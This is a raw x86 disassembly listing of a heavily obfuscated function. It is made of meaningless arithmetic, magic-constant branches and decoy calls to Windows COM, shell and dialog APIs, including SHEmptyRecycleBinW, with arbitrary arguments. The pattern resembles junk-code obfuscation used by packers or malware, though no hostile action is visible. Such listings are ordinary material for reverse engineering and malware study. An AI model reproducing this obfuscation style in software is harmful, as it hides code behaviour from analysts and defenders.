cmp dword [ebp - 0x1a04], 0x5ca7
je 0x4c46f9
jmp 0x4c4738
movzx ecx, word [ebp - 0x136c]
movzx edx, word [ebp - 0xa20]
sub ecx, edx
mov eax, dword [ebp - 0x181c]
mov word [eax], cx
movzx ecx, byte [ebp - 0x665]
mov edx, dword [ebp - 0x768]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xe81], cl
call dword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [ebp - 0xe94], eax
jmp 0x4c4750
movsx ecx, word [0x519d74]
movsx edx, word [ebp - 0x1084]
sub ecx, edx
mov eax, dword [0x519dfc]
mov word [eax], cx
jmp 0x4c4768
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x82c], eax
jmp 0x4c47c6
mov ecx, dword [ebp - 0x108c]
add ecx, dword [ebp - 0x1090]
mov edx, dword [ebp - 0x1000]
mov dword [edx], ecx
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xd64]
shl eax, cl
mov dword [ebp - 0x7dc], eax
lea ecx, [ebp - 0x1408]
push ecx
lea edx, [ebp - 0x4a0]
push edx
call dword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [ebp - 0x100], eax
movzx eax, byte [ebp - 0x7c2]
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x768]
mov byte [ecx], al
movzx edx, word [0x519008]
movzx ecx, word [ebp - 0x8f8]
sar edx, cl
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
jmp 0x4c48e9
mov ecx, dword [ebp - 0xfe4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
or edx, eax
movsx ecx, word [ebp - 0xfc0]
mov eax, dword [ebp - 0xfa8]
movsx eax, word [eax]
and ecx, eax
cmp edx, ecx
jle 0x4c48e9
mov ecx, dword [ebp - 0x108c]
xor ecx, dword [ebp - 0x468]
mov dword [ebp - 0x13e8], ecx
movsx edx, byte [ebp - 0x17d]
mov eax, dword [ebp - 0x13b8]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x11bc]
movsx ecx, byte [eax]
mov eax, dword [ebp - 0xc54]
movsx eax, byte [eax]
sub ecx, eax
cmp edx, ecx
je 0x4c4897
mov ecx, dword [ebp - 0x82c]
sub ecx, dword [0x519004]
mov edx, dword [ebp - 0x684]
mov dword [edx], ecx
push 0x9e
mov eax, dword [ebp - 0xf70]
push eax
push 0x8c
push 0xce
lea ecx, [ebp - 0xde4]
push ecx
push 0xc2
push 0x32
lea edx, [ebp - 0x69c]
push edx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0xfbc]
add eax, dword [ebp - 0x2e0]
mov dword [ebp - 0xbd4], eax
movsx ecx, word [ebp - 0xf88]
movsx edx, word [ebp - 0x1a8]
add ecx, edx
mov eax, dword [0x519dfc]
mov word [eax], cx
push 0xb3
lea ecx, [ebp - 0x10a1]
push ecx
push 0x8a
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x1cc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [ebp - 0x1050], eax
mov ecx, dword [ebp - 0x108c]
add ecx, dword [ebp - 0x82c]
mov edx, dword [ebp - 0x41c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13b8]
mov cl, byte [eax]
mov byte [ebp - 0x1a08], cl
cmp byte [ebp - 0x1a08], 0x57
je 0x4c4919
jmp 0x4c4a37
mov edx, dword [ebp - 0x484]
mov al, byte [edx]
mov byte [ebp - 0x1a0c], al
cmp byte [ebp - 0x1a0c], 0x14
je 0x4c4935
jmp 0x4c4a1f
mov ecx, dword [ebp - 0x13b8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x11bc]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x484]
mov byte [eax], dl
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
and edx, eax
movsx ecx, word [ebp - 0xfc0]
movsx eax, word [0x519d74]
sub ecx, eax
cmp edx, ecx
jg 0x4c4a09
lea ecx, [ebp - 0x2d0]
push ecx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0xfac], eax
movsx edx, word [0x519d74]
mov eax, dword [ebp - 0xfe4]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xf88], dx
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0xc64]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x181c]
mov word [ecx], dx
lea edx, [ebp - 0x8c]
push edx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x624]
push ecx
push 0xbb
lea edx, [ebp - 0x3c0]
push edx
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x100], eax
movzx eax, byte [ebp - 0xe81]
movzx ecx, byte [ebp - 0x7c2]
add eax, ecx
mov edx, dword [ebp - 0x6cc]
mov byte [edx], al
jmp 0x4c4a1d
mov eax, dword [ebp - 0xd84]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x4c4a32
lea edx, [ebp - 0x102c]
push edx
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0xdc8], eax
jmp 0x4c4b5c
movzx eax, byte [ebp - 0xe81]
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x32c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x11b1]
add edx, ecx
cmp eax, edx
jg 0x4c4b46
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
sub eax, edx
movsx ecx, word [ebp - 0xf88]
mov edx, dword [0x519dfc]
movsx edx, word [edx]
add ecx, edx
cmp eax, ecx
jle 0x4c4b44
mov eax, dword [0x519d90]
mov dword [ebp - 0x1a10], eax
cmp dword [ebp - 0x1a10], 0x1bf15dd2
je 0x4c4b12
cmp dword [ebp - 0x1a10], 0xfcc344c5
je 0x4c4ab9
jmp 0x4c4b44
mov ecx, dword [ebp - 0x108c]
xor ecx, dword [ebp - 0x468]
mov edx, dword [ebp - 0x118]
mov dword [edx], ecx
movzx eax, word [ebp - 0x75c]
movzx ecx, word [ebp - 0x136c]
sar eax, cl
mov word [ebp - 0xa20], ax
movsx ecx, word [0x519d74]
movsx edx, word [ebp - 0x1a8]
or ecx, edx
mov eax, dword [0x519dfc]
mov word [eax], cx
mov edx, dword [ebp - 0xd64]
mov ecx, dword [ebp - 0x7dc]
shl edx, cl
mov dword [ebp - 0x18b8], edx
jmp 0x4c4b44
push 0x97
lea eax, [ebp - 0x1038]
push eax
push 0xd8
lea ecx, [ebp - 0x1050]
push ecx
lea edx, [ebp - 0x12c4]
push edx
lea eax, [ebp - 0x658]
push eax
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0xe94], eax
jmp 0x4c4b5c
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [section..data]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xa2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1000]
mov edx, dword [ecx]
mov dword [ebp - 0x1a14], edx
cmp dword [ebp - 0x1a14], 0
je 0x4c4b78
jmp 0x4c4c4e
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
mov dword [ebp - 0x1a18], ecx
cmp dword [ebp - 0x1a18], 0
je 0x4c4b95
jmp 0x4c4c31
mov edx, dword [ebp - 0xde4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x11b1]
add eax, ecx
movzx edx, byte [ebp - 0xe81]
movzx ecx, byte [ebp - 0x7c2]
and edx, ecx
cmp eax, edx
jg 0x4c4c2f
mov dl, byte [ebp - 0x92d]
mov byte [ebp - 0x1a1c], dl
cmp byte [ebp - 0x1a1c], 0x92
je 0x4c4bd2
jmp 0x4c4be8
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], ecx
jmp 0x4c4c2f
lea edx, [ebp - 0x154]
mov dword [ebp - 0x8d8], edx
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x8ac], cx
mov ecx, dword [ebp - 0x6cc]
mov dl, byte [ecx]
mov byte [ebp - 0x3c1], dl
mov eax, dword [ebp - 0x82c]
add eax, dword [ebp - 0x13e8]
mov dword [ebp - 0xb64], eax
jmp 0x4c4c49
mov ecx, dword [ebp - 0x1000]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x118]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1000]
mov dword [ecx], edx
jmp 0x4c4cfb
movsx edx, byte [0x51900b]
mov eax, dword [ebp - 0x484]
movsx ecx, byte [eax]
sub edx, ecx
movsx eax, byte [ebp - 0x17d]
mov ecx, dword [ebp - 0x11bc]
movsx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jl 0x4c4c8d
movzx edx, byte [ebp - 0xdd5]
push edx
movzx eax, word [ebp - 0x8ac]
push eax
call section..text
jmp 0x4c4cfb
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0x13d8]
push edx
call dword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [ebp - 0x990], eax
mov eax, dword [ebp - 0xfe4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0xfa8]
movsx eax, word [edx]
or ecx, eax
mov word [0x519d74], cx
mov ecx, dword [ebp - 0x11bc]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x81]
sar edx, cl
mov eax, dword [ebp - 0x11bc]
mov byte [eax], dl
push 0xcf
mov ecx, dword [ebp - 0xf14]
push ecx
mov edx, dword [ebp - 0xc30]
push edx
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [ebp - 0x1050], eax
mov eax, dword [ebp - 0xa28]
mov cx, word [eax]
mov word [ebp - 0x10f4], cx
mov edx, dword [ebp - 0xa24]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xdd5]
shl eax, cl
mov ecx, dword [ebp - 0x32c]
mov byte [ecx], al
movzx edx, byte [ebp - 0x665]
mov eax, dword [ebp - 0xde4]
movzx ecx, byte [eax]
xor edx, ecx
movzx eax, byte [ebp - 0x3c1]
movzx ecx, byte [ebp - 0x92d]
and eax, ecx
cmp edx, eax
jne 0x4d0d1d
mov edx, dword [ebp - 0xfbc]
mov dword [ebp - 0x1a20], edx
cmp dword [ebp - 0x1a20], 0x1677ea6e
je 0x4c4e78
cmp dword [ebp - 0x1a20], 0xe2ea4be4
je 0x4c4d7c
jmp 0x4c4ed7
mov eax, dword [ebp - 0xa28]
movzx edx, word [eax]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
shl edx, cl
mov word [0x519008], dx
mov ecx, dword [ebp - 0x18b8]
xor ecx, dword [ebp - 0xbd4]
mov edx, dword [ebp - 0x1108]
mov dword [edx], ecx
movzx eax, word [ebp - 0x136c]
mov ecx, dword [ebp - 0xc64]
movzx edx, word [ecx]
and eax, edx
movzx ecx, word [ebp - 0xa20]
mov edx, dword [ebp - 0xa28]
movzx edx, word [edx]
imul ecx, edx
cmp eax, ecx
jne 0x4c4e76
movsx eax, word [ebp - 0xf88]
mov dword [ebp - 0x1a24], eax
cmp dword [ebp - 0x1a24], 0x369f
je 0x4c4dff
cmp dword [ebp - 0x1a24], 0x693f
je 0x4c4e45
jmp 0x4c4e76
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x790]
add edx, dword [eax]
mov dword [ebp - 0x108c], edx
lea ecx, [ebp - 0xc48]
push ecx
lea edx, [ebp - 0x4a0]
push edx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0xa1c]
sub eax, dword [ebp - 0x1090]
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
jmp 0x4c4e76
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ebp - 0x2e0]
sub eax, dword [edx]
mov dword [ebp - 0x7dc], eax
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0xa28]
mov word [eax], dx
jmp 0x4c4ed7
mov cl, byte [ebp - 0x10a1]
mov byte [ebp - 0x1a28], cl
cmp byte [ebp - 0x1a28], 0x5c
je 0x4c4e8f
jmp 0x4c4ec2
mov edx, dword [ebp - 0xa28]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x10a1]
push ecx
mov edx, dword [ebp - 0xfa8]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0xde4]
mov dl, byte [ecx]
mov eax, dword [ebp - 0x32c]
mov cl, byte [eax]
call fcn.00478870
jmp 0x4c4ed7
push 0x65
lea ecx, [ebp - 0x1248]
push ecx
call dword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [ebp - 0x6d0], eax
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x1a2c], edx
cmp dword [ebp - 0x1a2c], 0x3ece7550
je 0x4c4ef4
jmp 0x4c4fc9
movzx eax, byte [ebp - 0x3c1]
movzx ecx, byte [ebp - 0x7c2]
and eax, ecx
mov byte [ebp - 0x11b1], al
movsx edx, byte [ebp - 0x81]
movsx eax, byte [ebp - 0x17d]
sub edx, eax
mov ecx, dword [ebp - 0x13b8]
mov byte [ecx], dl
movzx edx, word [ebp - 0x8ac]
mov dword [ebp - 0x1a30], edx
cmp dword [ebp - 0x1a30], 0x9ed
je 0x4c4f3d
jmp 0x4c4fae
lea eax, [ebp - 0x584]
push eax
push str.Upwards_Leant_Hesitantly_lobular
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0xef0], eax
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xf88]
add edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
lea edx, [ebp - 0x69c]
push edx
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x1180]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x2e0]
add ecx, dword [eax]
mov dword [0x519d90], ecx
jmp 0x4c4fc4
mov edx, dword [ebp - 0x118]
mov eax, dword [edx]
add eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x1000]
mov dword [ecx], eax
jmp 0x4c50bc
mov edx, dword [ebp - 0x9bc]
mov eax, dword [ebp - 0x468]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x1000]
mov edx, dword [ebp - 0x1090]
or edx, dword [ecx]
cmp eax, edx
jg 0x4c50bc
mov eax, dword [ebp - 0xde4]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x3c1]
shl edx, cl
mov byte [ebp - 0x7c2], dl
mov eax, dword [ebp - 0x9a4]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xf88]
sar edx, cl
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
movsx eax, word [ebp - 0xfc0]
and ecx, eax
cmp edx, ecx
jge 0x4c5090
movsx ecx, word [ebp - 0x1a8]
mov dword [ebp - 0x1a34], ecx
cmp dword [ebp - 0x1a34], 0x6668
je 0x4c5054
cmp dword [ebp - 0x1a34], 0x6b66
je 0x4c508b
jmp 0x4c5090
lea edx, [ebp - 0x158]
push edx
lea eax, [ebp - 0x95c]
push eax
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [ebp - 0x13a4], eax
movzx ecx, word [ebp - 0x136c]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xc64]
mov word [edx], cx
jmp 0x4c5090
call fcn.0046d040
mov dword [ebp - 0x5b8], 0x519004
mov eax, dword [ebp - 0xd84]
mov ecx, dword [ebp - 0x110]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xbd4], edx
lea eax, [ebp - 0x468]
mov dword [ebp - 0xb2c], eax
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [ecx]
mov dword [ebp - 0x1a38], edx
cmp dword [ebp - 0x1a38], 0
je 0x4c50d8
jmp 0x4d0c55
mov eax, dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x13e8]
or ecx, dword [eax]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110]
mov edx, dword [ebp - 0x7dc]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0xd28]
mov eax, dword [eax]
mov ecx, dword [0x519d90]
shl eax, cl
cmp edx, eax
jae 0x4c51a7
movsx ecx, word [ebp - 0xf88]
mov edx, dword [ebp - 0xfe4]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x9a4]
mov word [edx], cx
mov eax, dword [ebp - 0x684]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x108c]
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x468]
sub eax, dword [edx]
cmp ecx, eax
jg 0x4c51a2
movzx ecx, word [ebp - 0x8f8]
mov dword [ebp - 0x1a3c], ecx
cmp dword [ebp - 0x1a3c], 0x3b1
je 0x4c5178
cmp dword [ebp - 0x1a3c], 0x56e
je 0x4c518f
jmp 0x4c51a2
movzx edx, byte [ebp - 0x92d]
push edx
movzx eax, word [ebp - 0x8ac]
push eax
call section..text
jmp 0x4c51a2
lea ecx, [ebp - 0xe18]
push ecx
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0xdc8], eax
jmp 0x4c52db
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x13e8]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x468]
cmp eax, edx
jl 0x4c52db
mov eax, dword [ebp - 0x13b8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xc54]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x11bc]
mov byte [edx], cl
mov eax, dword [ebp - 0x32c]
mov cl, byte [eax]
mov byte [ebp - 0x69d], cl
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
mov dword [ebp - 0x1a40], eax
cmp dword [ebp - 0x1a40], 0x8de
je 0x4c5212
jmp 0x4c5244
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0xc64]
movzx eax, word [edx]
add ecx, eax
mov word [0x519008], cx
mov ecx, dword [ebp - 0x154]
add ecx, dword [ebp - 0xd64]
mov edx, dword [ebp - 0x8d8]
mov dword [edx], ecx
jmp 0x4c52db
mov eax, dword [ebp - 0xd64]
mov dword [ebp - 0x1a44], eax
cmp dword [ebp - 0x1a44], 0
je 0x4c525b
jmp 0x4c52bd
mov ecx, dword [ebp - 0x2e0]
and ecx, dword [0x519d90]
mov dword [ebp - 0xfbc], ecx
mov edx, dword [ebp - 0xc64]
mov ax, word [edx]
mov word [ebp - 0xd8], ax
mov ecx, dword [ebp - 0x768]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x7c2], dl
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x82c]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x1000]
mov dword [ecx], eax
lea edx, [ebp - 0xbd4]
mov dword [ebp - 0xf50], edx
jmp 0x4c52db
push 0x2f
push 0xa3
push 0xe2
mov eax, dword [ebp - 0xd38]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x6d8], eax
mov edx, dword [ebp - 0xa1c]
mov ecx, dword [ebp - 0x1090]
shl edx, cl
mov eax, dword [ebp - 0x9bc]
mov dword [eax], edx
mov ecx, dword [0x519dfc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xf88]
xor edx, eax
mov ecx, dword [ebp - 0xfe4]
movsx eax, word [ecx]
movsx ecx, word [ebp - 0xfc0]
or eax, ecx
cmp edx, eax
jne 0x4c540e
lea edx, [ebp - 0x13e8]
mov dword [ebp - 0x1184], edx
mov al, byte [ebp - 0x11b1]
mov byte [ebp - 0x1a48], al
cmp byte [ebp - 0x1a48], 0
je 0x4c5350
cmp byte [ebp - 0x1a48], 0xcd
je 0x4c53f5
jmp 0x4c540e
mov ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x1a4c], ecx
cmp dword [ebp - 0x1a4c], 0x2925a190
je 0x4c5376
cmp dword [ebp - 0x1a4c], 0x4b3682c3
je 0x4c53dd
jmp 0x4c53f3
movzx edx, word [ebp - 0x8f8]
mov dword [ebp - 0x1a50], edx
cmp dword [ebp - 0x1a50], 0x8d3
je 0x4c5391
jmp 0x4c53c3
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0xfe4]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [0x519dfc]
mov word [edx], cx
lea eax, [ebp - 0x1894]
push eax
call dword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [ebp - 0x194], eax
jmp 0x4c53db
movzx ecx, byte [ebp - 0x11b1]
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xe81], cl
jmp 0x4c53f3
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xfbc]
mov eax, dword [ebp - 0x1108]
mov dword [eax], edx
jmp 0x4c540e
mov ecx, dword [ebp - 0x13e8]
push ecx
mov edx, dword [ebp - 0x32c]
movzx eax, byte [edx]
push eax
call fcn.004ef7c0
add esp, 8
mov ecx, dword [ebp - 0xc64]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
movzx eax, word [ebp - 0xa20]
add ecx, eax
cmp edx, ecx
jl 0x4c54dc
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [ebp - 0x990], eax
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
mov dword [ebp - 0x1a54], edx
cmp dword [ebp - 0x1a54], 0xbe5d913f
je 0x4c5464
jmp 0x4c54be
mov eax, dword [ebp - 0xb64]
sub eax, dword [ebp - 0xa1c]
mov ecx, dword [ebp - 0x41c]
mov dword [ecx], eax
movsx edx, word [ebp - 0xf88]
movsx eax, word [ebp - 0x1084]
add edx, eax
mov word [ebp - 0x1a8], dx
mov ecx, dword [ebp - 0xee4]
push ecx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x394], eax
movsx edx, byte [0x51900a]
mov eax, dword [ebp - 0x11bc]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xc54]
mov byte [eax], dl
jmp 0x4c54d7
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x10b4]
shl edx, cl
mov word [ebp - 0x8ac], dx
jmp 0x4c55aa
mov eax, dword [ebp - 0xfe4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0xfa8]
movsx eax, word [edx]
add ecx, eax
movsx edx, word [ebp - 0x1084]
movsx eax, word [ebp - 0x1a8]
add edx, eax
cmp ecx, edx
jg 0x4c55aa
mov ecx, dword [0x519d90]
mov dword [ebp - 0x1a58], ecx
cmp dword [ebp - 0x1a58], 0
je 0x4c551f
jmp 0x4c5596
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
mov dword [ebp - 0x1a5c], eax
cmp dword [ebp - 0x1a5c], 0xc4
je 0x4c5548
cmp dword [ebp - 0x1a5c], 0xbd4
je 0x4c557a
jmp 0x4c5594
movzx ecx, byte [ebp - 0x3c1]
push ecx
mov edx, dword [ebp - 0xbd4]
push edx
mov eax, dword [ebp - 0xfe4]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x11bc]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x17d]
push ecx
call fcn.00429f50
jmp 0x4c5594
movzx edx, byte [ebp - 0x92d]
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x1360]
mov byte [eax], dl
jmp 0x4c55aa
mov edx, dword [ebp - 0x18b8]
mov ecx, dword [0x519d90]
shr edx, cl
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x5b8]
mov ecx, dword [eax]
mov dword [0x519dbc], ecx
mov edx, dword [ebp - 0xde0]
mov eax, dword [edx]
or eax, dword [ebp - 0x13e8]
mov ecx, dword [ebp - 0x1184]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
mov al, byte [edx]
mov byte [ebp - 0x1a60], al
cmp byte [ebp - 0x1a60], 0x43
je 0x4c55f0
cmp byte [ebp - 0x1a60], 0xe1
je 0x4c5637
jmp 0x4c5652
push 0x5d
lea ecx, [ebp - 0x624]
push ecx
push section..text
mov edx, dword [ebp - 0xc30]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0xfac], eax
mov eax, dword [0x519d90]
sub eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x8d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x468]
add edx, dword [ebp - 0x1090]
mov dword [ebp - 0x13e8], edx
jmp 0x4c5652
movzx eax, word [ebp - 0xd8]
mov ecx, dword [ebp - 0xc64]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0xa28]
mov word [ecx], ax
mov dl, byte [ebp - 0xe2d]
mov byte [ebp - 0x1a64], dl
cmp byte [ebp - 0x1a64], 0x23
je 0x4c57b5
cmp byte [ebp - 0x1a64], 0x66
je 0x4c5679
jmp 0x4c5803
movsx eax, word [ebp - 0xf88]
movsx ecx, word [ebp - 0xfc0]
sub eax, ecx
mov edx, dword [ebp - 0xfe4]
movsx ecx, word [edx]
mov edx, dword [ebp - 0xfa8]
movsx edx, word [edx]
add ecx, edx
cmp eax, ecx
jl 0x4c5771
mov eax, dword [ebp - 0xde4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x665]
sub ecx, edx
mov eax, dword [ebp - 0x32c]
mov byte [eax], cl
lea ecx, [ebp - 0x108c]
mov dword [ebp - 0x18dc], ecx
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
add eax, dword [ebp - 0x154]
mov dword [ebp - 0x7dc], eax
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
mov dword [ebp - 0x1a68], edx
cmp dword [ebp - 0x1a68], 0xf250
je 0x4c56fc
jmp 0x4c5744
lea eax, [ebp - 0x82c]
mov dword [ebp - 0x11cc], eax
mov ecx, dword [ebp - 0xde0]
mov edx, dword [ebp - 0x1000]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x51900c], eax
movzx ecx, word [0x519008]
movzx edx, word [ebp - 0x8ac]
add ecx, edx
mov eax, dword [ebp - 0x181c]
mov word [eax], cx
lea ecx, [ebp - 0x69d]
mov dword [ebp - 0x1354], ecx
jmp 0x4c576f
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x136c]
add ecx, edx
mov eax, dword [ebp - 0xc64]
movzx edx, word [eax]
movzx eax, word [0x519008]
add edx, eax
cmp ecx, edx
jge 0x4c57b3
lea ecx, [ebp - 0x1038]
push ecx
lea edx, [ebp - 0x150]
push edx
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [ebp - 0x13a4], eax
jmp 0x4c5803
movsx eax, word [ebp - 0xfc0]
mov ecx, dword [0x519dfc]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1a8], ax
mov eax, dword [ebp - 0x484]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xe2d]
or ecx, edx
mov eax, dword [ebp - 0xc54]
mov byte [eax], cl
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x18dc]
push edx
lea eax, [ebp - 0x12c4]
push eax
call dword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
mov dword [ebp - 0x1a6c], edx
cmp dword [ebp - 0x1a6c], 0
je 0x4c5830
cmp dword [ebp - 0x1a6c], 0x6d9b
je 0x4c59a0
jmp 0x4c59b4
mov eax, dword [ebp - 0x181c]
movzx edx, word [eax]
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
sar edx, cl
movzx eax, word [ebp - 0xa20]
movzx ecx, word [ebp - 0x136c]
shl eax, cl
cmp edx, eax
jl 0x4c599e
mov ecx, dword [ebp - 0x320]
mov edx, dword [ebp - 0x18b8]
and edx, dword [ecx]
mov eax, dword [ebp - 0x12cc]
mov dword [eax], edx
movzx ecx, word [ebp - 0x8ac]
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
imul ecx, eax
movzx edx, word [ebp - 0x75c]
mov eax, dword [ebp - 0x181c]
movzx eax, word [eax]
add edx, eax
cmp ecx, edx
jle 0x4c595c
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
